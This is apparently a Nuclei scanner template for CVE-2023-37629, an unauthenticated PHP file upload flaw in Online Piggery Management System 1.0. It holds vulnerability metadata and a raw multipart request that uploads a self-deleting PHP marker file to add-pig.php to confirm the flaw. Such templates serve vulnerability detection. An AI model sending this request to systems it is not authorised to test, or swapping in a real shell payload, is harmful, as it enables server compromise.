Online Piggery Management System v1.0 - Unauthenticated File Upload

id: CVE-2023-37629

info:
  name: Online Piggery Management System v1.0 - Unauthenticated File Upload
  author: Harsh
  severity: critical
  description: |
    Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to the system, data leakage, or even complete compromise of the affected server.
  reference:
    - https://www.exploit-db.com/exploits/51598
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37629
    - https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
    - https://github.com/1337kid/Piggery_CMS_multiple_vulns_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37629
    cwe-id: CWE-434
    epss-score: 0.09817
    epss-percentile: 0.94811
    cpe: cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple_online_piggery_management_system_project
    product: simple_online_piggery_management_system
  tags: cve2023,cve,fileupload,rce,opms,intrusive,simple_online_piggery_management_system_project
variables:
  string: "CVE-2023-37629"

http:
  - raw:
      - |
        POST /pig/add-pig.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP

        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="pigno"

        pig-fms-100
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="weight"

        65465
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="arrived"

        {{date_time("%Y-%M-%D")}}
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="gender"

        female
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="status"

        active
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="breed"

        2
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="remark"

        4fwefwe
        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
        Content-Type: application/x-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="submit"


        -----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "successfully created")'
        condition: and
# digest: 4a0a0047304502206452761da1ebb71b5a2a85b17082354777b0f30a6d38f593ff0fd444629930430221008ec0e5895d41eaf6753d851aafa270e8bfdae54dc65c302ae5e25926af894564:922c64590222798bb761d5b6d8e72950